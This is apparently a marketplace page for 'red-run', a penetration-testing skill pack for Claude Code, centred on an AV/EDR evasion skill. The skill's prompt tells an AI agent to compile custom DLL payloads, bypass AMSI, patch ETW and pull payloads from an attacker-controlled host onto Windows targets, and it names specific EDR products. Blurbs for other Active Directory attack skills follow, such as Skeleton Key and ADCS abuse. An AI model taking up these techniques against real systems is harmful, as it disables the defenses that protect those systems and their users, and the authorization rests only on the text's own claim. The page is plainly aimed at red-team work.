acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Bypass antivirus and EDR detection for payload delivery during exploitation. Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode alternatives, and ETW patching. Route here when an agent reports a payload was quarantined, blocked, or detected by endpoint
$ npx -y skills add blacklanternsecurity/red-run --skill av-edr-evasion --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/av-edr-evasionContext preview
The summary Claude sees to decide when to auto-load this skill.
Bypass antivirus and EDR detection for payload delivery during exploitation. Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode alternatives, and ETW patching. Route here when an agent reports a payload was quarantined, blocked, or detected by endpoint
name: av-edr-evasion description: > Bypass antivirus and EDR detection for payload delivery during exploitation. Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode alternatives, and ETW patching. Route here when an agent reports a payload was quarantined, blocked, or detected by endpoint protection. keywords: - AMSI bypass - antivirus evasion - EDR bypass - Windows Defender - payload obfuscation - mingw DLL - custom payload - ETW patching - shellcode encoding - quarantine - CrowdStrike - SentinelOne tools: - mingw-w64 - python3 - go (optional) opsec: high
You are helping a penetration tester bypass AV/EDR that is blocking payload execution during an authorized engagement. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
`engagement/evidence/evasion/` with descriptive filenames (e.g., `custom-dll-winexec-x64.dll`, `amsi-bypass.ps1`).
Create the evasion evidence directory if it doesn't exist:
mkdir -p engagement/evidence/evasion
This skill covers **payload generation and runtime evasion only**. It does NOT cover:
When you have built and optionally verified the bypass payload — **STOP**. Return to the orchestrator with the artifact path, bypass method, and runtime prerequisites. The orchestrator will re-invoke the original technique skill with your payload.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise novel evasion techniques or write complex custom tooling beyond what's documented below.
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Never download exploits, scripts, or tools directly to the target from the internet. Targets may lack outbound access, and operators must review files before execution on target.
**Attackbox-first workflow:**
1. **Compile on attackbox** — all payloads are built locally 2. **Review** — operator can inspect the C/Go source in this skill 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file` or `curl`, `certutil`, evil-winrm `upload`, SMB transfer
Context from the orchestrator (provided in Task prompt):
DllMain entry point", "EXE that adds admin user")
Attackbox tools:
(`apt install mingw-w64`)
Compile payloads to `$TMPDIR` then move to evidence:
# Compile x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c # Save evidence mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll
If not already provided by the orchestrator, determine:
1. **What payload type was blocked?** — DLL, EXE, script (PS1/BAT), webshell (JSP/ASPX/PHP) 2. **How was it detected?** — signature (file on disk caught), behavioral (process killed at runtime), AMSI (PowerShell/script blocked), heuristic (unknown detection) 3. **What AV/EDR product?** — Windows Defender, CrowdStrike Falcon, SentinelOne, Symantec, Carbon Black, etc. 4. **What does the exploit need?** — DLL with DllMain, EXE that runs a command, service binary, webshell file
Skip if context was already provided.
| Detection | Indicators | Go to | |-----------|-----------|-------| | **Signature** (most common) | msfvenom payload, known tool binary, file quarantined on write | Step 2: Custom Payload Compilation | | **AMSI** | PowerShell command blocked, "This script contains malicious content" | Step 3: AMSI Bypass | | **Behavioral** | Process starts then dies within 1-2 seconds, no file quarantine | Step 4: Alternative Execution Methods | | **Heuristic/ML** | Unknown detection, no clear signature match | Step 2 first, then Step 4 if still caught | | **ETW/Logging** | Need to reduce telemetry before executing payload | Step 5: ETW Patching |
When signature detection catches msfvenom or known tool binaries, compile custom payloads from C source. These work because they call legitimate Win32 APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom signature patterns.
For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.
Simplest and most reliable. Executes a single command when DllMain is called.
// payload.c — Custom DLL with command execution // Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c // For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reas
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…